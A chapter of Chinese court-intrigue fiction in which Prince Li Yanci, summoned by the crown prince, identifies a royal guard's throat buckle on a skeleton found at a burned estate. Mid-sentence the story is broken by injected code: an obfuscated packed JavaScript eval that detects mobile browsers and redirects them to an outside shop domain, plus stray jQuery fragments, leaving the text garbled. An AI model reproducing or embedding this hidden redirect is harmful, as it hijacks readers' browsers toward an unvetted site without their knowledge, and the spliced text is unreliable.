李砚辞刚在后院的软榻上躺下没多久,前院又传来了熟悉的、令人头疼的急促脚步声。
“王爷!王爷您快起来!”长安连滚带爬地冲进后院,脸色比见了鬼还难看,连声音都劈了叉,“大理寺的少卿亲自带人来了,说……说东宫下了口谕,请您即刻去京郊一趟!”
李砚辞揉了揉隐隐作痛的眉心,无奈地叹了口气。他随手将搭在臂弯上的薄毯扯下,慢吞吞地披上外袍。这太子殿下,还真是不把人折腾死不罢休。昨夜的“美人计”没成,今日便换了个更狠的由头。
半个时辰后,京郊废弃皇庄。
昨夜那场暴雨将这片地界冲刷得泥泞不堪,空气中弥漫着焦土与腐臭混合的刺鼻气味。大理寺的官兵将现场围得水泄不通,火把在晨雾中摇曳,将每个人的脸都映照得明暗不定,气氛压抑得让人喘不过气。
李砚辞撑着一把素面油纸伞,慢悠悠地踏过泥泞,走进了警戒线内。他的步履依旧闲适,仿佛不是来勘查命案,而是来踏青赏景。
“砚辞王爷,您可算来了。”大理寺少卿像看到了救星,赶紧迎上前,压低声音道,“殿下说,您既然觉得美人硌手,不如来看看这桩案子硌不硌眼。昨夜这里走水,烧塌了地窖,挖出了这个……”
李砚辞顺着少卿颤抖的手指望去,目光落在泥坑里那具被冲刷出大半的白骨上。
尸骨被大火和石灰严重腐蚀,面目全非,连大理寺最好的仵作都束手无策,满头大汗地跪在一旁,根本查不出死因。
李砚辞收起折扇,缓步走到坑边。他看似漫不经心地垂下眼帘,目光却瞬间锐利如刀,一寸寸扫过那具残缺的尸骨。
“这骨头,生前怕是戴过很重的东西。”
他忽然开口,声音不大,却在死寂的现场格外清晰。他伸出伞柄,轻轻挑开白骨颈间一处极其隐蔽的泥土,轻描淡写地补了一句:“比如,皇家暗卫专用的‘锁喉扣’。”
此言一出,大理寺少卿和仵作齐齐倒吸一口凉气,脸色瞬间煞白。谁不知道皇家暗卫的锁喉扣意味着什么?这具白骨的身份,恐怕比他们想象的还要烫手!
李砚辞立刻收起眼底那一闪而过的锋芒,装出一副“哎呀本王只是随口一说”的无辜模样,懒洋洋地打了个哈欠。
“砚辞王爷果然好眼力。”
一道低沉冷冽的声音突然从身后传来。
李砚辞转过身,只见李承霆不知何时竟也到了。他穿着一袭玄色蟒袍,站在不远处的凉亭下,深邃如渊的眼眸正死死地盯着李
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17922782|213487||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
砚辞,眼神极具侵略性。
“连‘锁喉扣’都认得,看来,本宫这案子,找对人了。”李承霆似笑非笑地看着他,语气中带着几分说不清的意味。
李砚辞抖了抖伞上的水珠,迎上他的目光,懒洋洋地回敬:“殿下谬赞了。臣不过是在醉仙居听曲儿时,偶尔听那些江湖客吹嘘过几句。比起殿下在东宫运筹帷幄,臣这点微末道行,实在上不得台面。”
李承霆上前一步,隔着几步远的距离,目光仿佛要将李砚辞看穿。他压低了声音,语气中带着几分说不清的意味:“是吗?那本宫倒要看看,王爷这‘微末道行’,能撑到几时。”
半个时辰后,王府。
李砚辞刚踏进书房,长安便脸色煞白地跑了进来,手里拿着一本泛黄的旧档。
“王爷……查到了!”长安的声音都在发抖,“那锁喉扣的制式,是三年前……三年前齐广王百里宁毅出京时,皇家暗卫专用的制式!”
李砚辞手中的茶杯猛地一顿,滚烫的茶水溅在手背上,他却浑然不觉。
他终于明白,李承霆这哪里是赐案,分明是赐了一道催命符。这具白骨,正死死地指向三年前那桩惊天秘案。
美人硌手,这案子,更是硌得他骨头缝里都疼。